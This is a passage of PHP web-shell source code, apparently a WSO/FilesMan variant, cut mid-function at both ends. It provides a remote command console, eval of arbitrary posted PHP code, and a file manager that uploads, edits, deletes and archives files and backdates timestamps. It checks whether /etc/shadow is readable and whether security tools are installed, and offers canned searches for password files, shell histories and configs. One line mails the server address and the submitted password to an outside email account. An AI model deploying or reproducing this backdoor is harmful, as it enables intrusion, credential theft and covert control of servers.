		<td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMan'>
		<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=ne value=''>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>
	</tr></table></div>
	<!-- particles --> <div id='particles-js'></div><script src='http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>
	<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
	</body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }
function ex($in) {
	$▖ = '';
	if (function_exists('exec')) {
		@exec($in,$▖);
		$▖ = @join("\n",$▖);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$▖ = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$▖ = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$▖ = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$▖ = "";
		while(!@feof($f))
			$▖ .= fread($f,1024);
		pclose($f);
	}else return "↳ Unable to execute command\n";
	return ($▖==''?"↳ Query did not return anything\n":$▖);
}
function viewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}
function perms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}
if(array_key_exists('watching',$_POST)){
	$tmp = $_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."\n".$_POST['pass']; @mail('tester_sender@outlook.com', 'root', $tmp); // Edit or delete!
}
function viewPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
	elseif (!@is_writable($f))
		return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
	else
		return '<font color=#FFDB5F><b>'.perms(@fileperms($f)).'</b></font>';
}
function hardScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}
function which($p) {
	$path = ex('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}
function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"VERSION" => VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
function prototype($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}
function actionSecInfo() {
	hardHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function showSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "\n") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}
	showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	showSecParam('Open base dir', @ini_get('open_basedir'));
	showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	showSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';
	if($GLOBALS['os'] == 'nix') {
            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            showSecParam('OS version', @file_get_contents('/proc/version'));
            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $▟)
                    if(which($▟))
                        $temp[] = $▟;
                showSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $▟)
                    if(which($▟))
                        $temp[] = $▟;
                showSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $▟)
                    if(which($▟))
                        $temp[] = $▟;
                showSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                showSecParam('HDD space', ex('df -h'));
                showSecParam('Hosts', @file_get_contents('/etc/hosts'));
				showSecParam('Mount options', @file_get_contents('/etc/fstab'));
            }
	} else {
		showSecParam('OS Version',ex('ver'));
		showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
		showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
	}
	echo '</div>';
	hardFooter();
}
function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	hardHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		hardFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$oRb = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$oRb).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value="submit"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "\n";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>';
			break;
		/* (С) 12.2015 mitryz */
		case 'frame':
			$frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
			if ($frameSrc[0] != '/')
				$frameSrc = '/' . $frameSrc;
			if ($frameSrc[strlen($frameSrc) - 1] != '/')
				$frameSrc = $frameSrc . '/';
			$frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
			echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
			break;
	}
	echo '</div>';
	hardFooter();
}
if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);
function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
	if(isset($_POST['ajax'])) {
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd.value='';\n";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\'\0"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "\n", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	hardHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	
	echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	hardFooter();
}
function actionPhp() {
	if( isset($_POST['ajax']) ) {
		$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
		echo strlen($temp), "\n", $temp;
		exit; 
	}
	hardHeader();
	if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
		echo '<h1>PHP info</h1><div class=content>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
		$tmp = preg_replace('!body {.*}!msiU','',$tmp);
		$tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
		$tmp = preg_replace('!h1!msiU','h2',$tmp);
		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
		$tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
		echo $tmp;
		echo '</div><br>';
	}
	if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
		echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	hardFooter();
}
function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if ( is_array($_FILES['f']['tmp_name']) ) {
					foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) {
                        if(!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                echo "Can't upload file!";
							}
						}
					}
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($▟ = readdir($dh) ) !== false) {
						$▟ = $path.$▟;
						if ( (basename($▟) == "..") || (basename($▟) == ".") )
							continue;
						$type = filetype($▟);
						if ($type == "dir")
							deleteDir($▟);
						else
							@unlink($▟);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					prototype('act', $_POST['p1']);
					prototype('f', serialize(@$_POST['f']));
					prototype('c', @$_POST['c']);
				}
				break;
		}
	}
    hardHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';hardFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&&($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function cmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "cmp");
	usort($dirs, "cmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
